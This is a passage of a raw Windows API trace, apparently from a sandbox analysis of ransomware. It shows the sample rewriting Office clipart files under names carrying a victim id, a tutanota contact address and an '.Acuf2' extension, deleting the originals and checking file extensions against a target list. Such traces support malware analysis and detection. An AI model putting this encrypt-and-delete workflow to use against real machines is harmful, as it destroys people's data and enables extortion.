	[0274.621] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0274.621] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0274.621] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107254.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107254.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220
	[0274.621] GetLastError () returned 0x0
	[0274.621] ReadFile (in: hFile=0x374, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x4ef4, lpOverlapped=0x0) returned 1
	[0274.623] WriteFile (in: hFile=0x220, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0x4f00, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0x4f00, lpOverlapped=0x0) returned 1
	[0274.624] ReadFile (in: hFile=0x374, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x0, lpOverlapped=0x0) returned 1
	[0274.624] WriteFile (in: hFile=0x220, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0274.624] SetEndOfFile (hFile=0x220) returned 1
	[0274.624] CloseHandle (hObject=0x220) returned 1
	[0274.624] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0274.624] SetEndOfFile (hFile=0x374) returned 1
	[0274.627] CloseHandle (hObject=0x374) returned 1
	[0274.627] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107254.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0274.627] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107254.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107254.wmf")) returned 1
	[0274.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107254.WMF") returned 63
	[0274.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107254.WMF") returned 63
	[0274.627] lstrlenW (lpString=".doc") returned 4
	[0274.627] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0274.627] lstrlenW (lpString=".docx") returned 5
	[0274.627] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0274.627] lstrlenW (lpString=".pdf") returned 4
	[0274.627] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0274.627] lstrlenW (lpString=".xls") returned 4
	[0274.628] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0274.628] lstrlenW (lpString=".xlsx") returned 5
	[0274.628] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0274.628] lstrlenW (lpString=".ppt") returned 4
	[0274.628] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0274.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107254.WMF") returned 63
	[0274.628] lstrlenW (lpString=".zip") returned 4
	[0274.628] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0274.628] lstrlenW (lpString=".rar") returned 4
	[0274.628] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0274.628] lstrlenW (lpString=".bz2") returned 4
	[0274.628] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0274.628] lstrlenW (lpString=".7z") returned 3
	[0274.628] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0274.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107254.WMF") returned 63
	[0274.628] lstrlenW (lpString=".dbf") returned 4
	[0274.628] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0274.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107254.WMF") returned 63
	[0274.628] lstrlenW (lpString=".1cd") returned 4
	[0274.628] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0274.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107254.WMF") returned 63
	[0274.628] lstrlenW (lpString=".jpg") returned 4
	[0274.628] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0274.629] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2c0ff1c | out: lpFileSize=0x2c0ff1c*=8552) returned 1
	[0274.629] CloseHandle (hObject=0x374) returned 1
	[0274.629] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107258.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107258.wmf")) returned 0x20
	[0274.629] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107258.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107258.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0274.629] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107258.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107258.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0274.630] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0274.630] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0274.630] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107258.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107258.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220
	[0274.631] GetLastError () returned 0x0
	[0274.631] ReadFile (in: hFile=0x374, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x2168, lpOverlapped=0x0) returned 1
	[0274.632] WriteFile (in: hFile=0x220, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0x2170, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0x2170, lpOverlapped=0x0) returned 1
	[0274.633] ReadFile (in: hFile=0x374, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x0, lpOverlapped=0x0) returned 1
	[0274.633] WriteFile (in: hFile=0x220, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0274.633] SetEndOfFile (hFile=0x220) returned 1
	[0274.633] CloseHandle (hObject=0x220) returned 1
	[0274.633] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0274.633] SetEndOfFile (hFile=0x374) returned 1
	[0274.635] CloseHandle (hObject=0x374) returned 1
	[0274.635] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107258.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0274.635] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107258.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107258.wmf")) returned 1
	[0274.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107258.WMF") returned 63
	[0274.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107258.WMF") returned 63
	[0274.636] lstrlenW (lpString=".doc") returned 4
	[0274.636] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0274.636] lstrlenW (lpString=".docx") returned 5
	[0274.636] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0274.636] lstrlenW (lpString=".pdf") returned 4
	[0274.636] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0274.636] lstrlenW (lpString=".xls") returned 4
	[0274.636] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0274.636] lstrlenW (lpString=".xlsx") returned 5
	[0274.636] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0274.636] lstrlenW (lpString=".ppt") returned 4
	[0274.636] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0274.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107258.WMF") returned 63
	[0274.636] lstrlenW (lpString=".zip") returned 4
	[0274.636] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0274.636] lstrlenW (lpString=".rar") returned 4
	[0274.636] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0274.636] lstrlenW (lpString=".bz2") returned 4
	[0274.636] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0274.636] lstrlenW (lpString=".7z") returned 3
	[0274.636] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0274.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107258.WMF") returned 63
	[0274.636] lstrlenW (lpString=".dbf") returned 4
	[0274.636] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0274.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107258.WMF") returned 63
	[0274.636] lstrlenW (lpString=".1cd") returned 4
	[0274.637] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0274.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107258.WMF") returned 63
	[0274.637] lstrlenW (lpString=".jpg") returned 4
	[0274.637] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0274.637] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2c0ff1c | out: lpFileSize=0x2c0ff1c*=7996) returned 1
	[0274.637] CloseHandle (hObject=0x374) returned 1
	[0274.637] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107262.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107262.wmf")) returned 0x20
	[0274.637] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107262.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107262.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0274.637] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107262.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107262.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0274.637] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0274.637] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0274.637] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107262.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107262.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220
	[0274.638] GetLastError () returned 0x0
	[0274.638] ReadFile (in: hFile=0x374, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x1f3c, lpOverlapped=0x0) returned 1
	[0274.642] WriteFile (in: hFile=0x220, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0x1f40, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0x1f40, lpOverlapped=0x0) returned 1
	[0274.643] ReadFile (in: hFile=0x374, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x0, lpOverlapped=0x0) returned 1
	[0274.643] WriteFile (in: hFile=0x220, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0274.643] SetEndOfFile (hFile=0x220) returned 1
	[0274.643] CloseHandle (hObject=0x220) returned 1
	[0274.643] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0274.643] SetEndOfFile (hFile=0x374) returned 1
	[0274.645] CloseHandle (hObject=0x374) returned 1
	[0274.645] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107262.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0274.645] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107262.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107262.wmf")) returned 1
	[0274.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107262.WMF") returned 63
	[0274.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107262.WMF") returned 63
	[0274.645] lstrlenW (lpString=".doc") returned 4
	[0274.646] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0274.646] lstrlenW (lpString=".docx") returned 5
	[0274.646] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0274.646] lstrlenW (lpString=".pdf") returned 4
	[0274.646] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0274.646] lstrlenW (lpString=".xls") returned 4
	[0274.646] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0274.646] lstrlenW (lpString=".xlsx") returned 5
	[0274.646] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0274.646] lstrlenW (lpString=".ppt") returned 4
	[0274.646] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0274.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107262.WMF") returned 63
	[0274.646] lstrlenW (lpString=".zip") returned 4
	[0274.646] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0274.646] lstrlenW (lpString=".rar") returned 4
	[0274.646] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0274.646] lstrlenW (lpString=".bz2") returned 4
	[0274.646] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0274.646] lstrlenW (lpString=".7z") returned 3
	[0274.646] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0274.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107262.WMF") returned 63
	[0274.646] lstrlenW (lpString=".dbf") returned 4
	[0274.646] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0274.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107262.WMF") returned 63
	[0274.646] lstrlenW (lpString=".1cd") returned 4
	[0274.646] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0274.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107262.WMF") returned 63
	[0274.646] lstrlenW (lpString=".jpg") returned 4
	[0274.646] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0274.811] GetFileSizeEx (in: hFile=0x274, lpFileSize=0x2c0ff1c | out: lpFileSize=0x2c0ff1c*=5272) returned 1
	[0274.811] CloseHandle (hObject=0x274) returned 1
	[0274.811] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107264.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107264.wmf")) returned 0x20
	[0274.822] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107264.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107264.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0274.822] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107264.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107264.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0274.822] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0274.822] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0274.822] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107264.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107264.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214
	[0274.823] GetLastError () returned 0x0
	[0274.823] ReadFile (in: hFile=0x394, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x1498, lpOverlapped=0x0) returned 1
	[0274.837] WriteFile (in: hFile=0x214, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0x14a0, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0x14a0, lpOverlapped=0x0) returned 1
	[0274.838] ReadFile (in: hFile=0x394, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x0, lpOverlapped=0x0) returned 1
	[0274.838] WriteFile (in: hFile=0x214, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0274.838] SetEndOfFile (hFile=0x214) returned 1
	[0274.838] CloseHandle (hObject=0x214) returned 1
	[0274.838] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0274.838] SetEndOfFile (hFile=0x394) returned 1
	[0274.840] CloseHandle (hObject=0x394) returned 1
	[0274.840] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107264.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0274.976] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107264.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107264.wmf")) returned 1
	[0274.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107264.WMF") returned 63
	[0274.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107264.WMF") returned 63
	[0274.977] lstrlenW (lpString=".doc") returned 4
	[0274.977] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0274.977] lstrlenW (lpString=".docx") returned 5
	[0274.977] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0274.977] lstrlenW (lpString=".pdf") returned 4
	[0274.977] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0274.977] lstrlenW (lpString=".xls") returned 4
	[0274.977] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0274.977] lstrlenW (lpString=".xlsx") returned 5
	[0274.977] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0274.977] lstrlenW (lpString=".ppt") returned 4
	[0274.977] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0274.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107264.WMF") returned 63
	[0274.977] lstrlenW (lpString=".zip") returned 4
	[0274.977] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0274.977] lstrlenW (lpString=".rar") returned 4
	[0274.977] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0274.977] lstrlenW (lpString=".bz2") returned 4
	[0274.977] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0274.977] lstrlenW (lpString=".7z") returned 3
	[0274.977] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0274.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107264.WMF") returned 63
	[0274.977] lstrlenW (lpString=".dbf") returned 4
	[0274.977] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0274.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107264.WMF") returned 63
	[0274.977] lstrlenW (lpString=".1cd") returned 4
	[0274.977] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0274.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107264.WMF") returned 63
	[0274.977] lstrlenW (lpString=".jpg") returned 4
	[0274.977] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0274.978] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x2c0ff1c | out: lpFileSize=0x2c0ff1c*=13436) returned 1
	[0274.978] CloseHandle (hObject=0x214) returned 1
	[0274.978] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107288.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107288.wmf")) returned 0x20
	[0274.978] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107288.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107288.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0274.978] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107288.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107288.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214
	[0274.978] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0274.978] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0274.978] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107288.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107288.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0274.979] GetLastError () returned 0x0
	[0274.979] ReadFile (in: hFile=0x214, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x347c, lpOverlapped=0x0) returned 1
	[0274.993] WriteFile (in: hFile=0x34c, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0x3480, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0x3480, lpOverlapped=0x0) returned 1
	[0274.994] ReadFile (in: hFile=0x214, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x0, lpOverlapped=0x0) returned 1
	[0274.994] WriteFile (in: hFile=0x34c, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0274.994] SetEndOfFile (hFile=0x34c) returned 1
	[0274.994] CloseHandle (hObject=0x34c) returned 1
	[0274.994] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0274.994] SetEndOfFile (hFile=0x214) returned 1
	[0274.996] CloseHandle (hObject=0x214) returned 1
	[0274.996] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107288.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0274.996] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107288.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107288.wmf")) returned 1
